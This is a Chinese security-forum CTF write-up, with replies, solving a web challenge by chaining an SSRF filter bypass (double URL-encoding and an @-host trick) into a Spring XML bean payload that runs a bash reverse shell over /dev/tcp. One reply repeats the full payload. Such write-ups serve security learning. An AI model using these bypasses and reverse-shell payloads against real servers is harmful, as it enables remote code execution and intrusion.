[原创]第一题至暗时刻-CTF对抗-看雪-安全社区|安全招聘|kanxue.com

[原创]第一题至暗时刻

发表于: 2020-11-19 10:57 4343

[原创]第一题至暗时刻

Ha1c9on

2020-11-19 10:57

4343

需要ssrf127.0.0.1的8088端口有正则需要带有 .pediy .com/ 测了一会儿发现使用urlencode两次就可以ssrf了

http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%253f.pediy.com/loadConfig?url=http://ip/payload.xml

这样也可以绕ssrf 不过需要服务器写一个302跳转
http://121.36.145.157:8088/getimage?url=http://@@127.0.0.1:1234@m.pediy.com/loadConfig?url=http://127.0.0.1/

ssrf成功后发现需要xml

发现可以用FileSystemXmlApplicationContext 命令执行

https://www.cnblogs.com/afanti/p/10815728.html

使用这里的payload拿shell

拿到shell以后把home下的jar下载回来

用jd-gui 反编译拿到flag

<?xml version="1.0" encoding="UTF-8" ?>

<beans xmlns="http://www.springframework.org/schema/beans"

    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="

     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">

        <constructor-arg >

            <list>

                <value>bash</value>

                <value>-c</value>

                <value><![CDATA[bash >& /dev/tcp/ip/2333 0>&1]]

登录后可查看完整内容

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课

收藏・0

免费・2

支持

最新回复 (3)
KooJiSung 雪币： 357 活跃值： (3448) 能力值： ( LV3，RANK：25 ) 在线值：发帖 8 回帖 682 粉丝 3 关注私信	KooJiSung 2 楼我的sc.xml HTTP/1.1 200 OK Server: nginx/1.9.4 Date: Thu, 19 Nov 2020 06:55:42 GMT Content-Type: text/xml Content-Length: 550 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[bash >& /dev/tcp/ip/2333 0>&1]]></value> </list> </constructor-arg> </bean> </beans> 执行提示 FreeMarker template error 2020-11-19 15:20 0
香草0x00 雪币： 638 活跃值： (795) 能力值： ( LV6，RANK：93 ) 在线值：发帖 4 回帖 12 粉丝 7 关注私信	香草0x00 3 楼虽然报错了，但是执行了呀 2020-11-19 15:37 0
xjklewh 雪币： 403 活跃值： (798) 能力值： ( LV4，RANK：58 ) 在线值：发帖 3 回帖 25 粉丝 3 关注私信	xjklewh 4 楼学习了 2020-11-19 16:28 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

Ha1c9on

发帖

回帖

RANK

关注

私信

他的文章

[原创]第一题至暗时刻 4344
[原创]第八题牛刀小试 4190

关于我们

联系我们

企业服务

看雪公众号

最新回复 (3)
KooJiSung 雪币： 357 活跃值： (3448) 能力值： ( LV3，RANK：25 ) 在线值：发帖 8 回帖 682 粉丝 3 关注私信	KooJiSung 2 楼我的sc.xml HTTP/1.1 200 OK Server: nginx/1.9.4 Date: Thu, 19 Nov 2020 06:55:42 GMT Content-Type: text/xml Content-Length: 550 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[bash >& /dev/tcp/ip/2333 0>&1]]></value> </list> </constructor-arg> </bean> </beans> 执行提示 FreeMarker template error 2020-11-19 15:20 0
香草0x00 雪币： 638 活跃值： (795) 能力值： ( LV6，RANK：93 ) 在线值：发帖 4 回帖 12 粉丝 7 关注私信	香草0x00 3 楼虽然报错了，但是执行了呀 2020-11-19 15:37 0
xjklewh 雪币： 403 活跃值： (798) 能力值： ( LV4，RANK：58 ) 在线值：发帖 3 回帖 25 粉丝 3 关注私信	xjklewh 4 楼学习了 2020-11-19 16:28 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

[原创]第一题 至暗时刻

[原创]第一题至暗时刻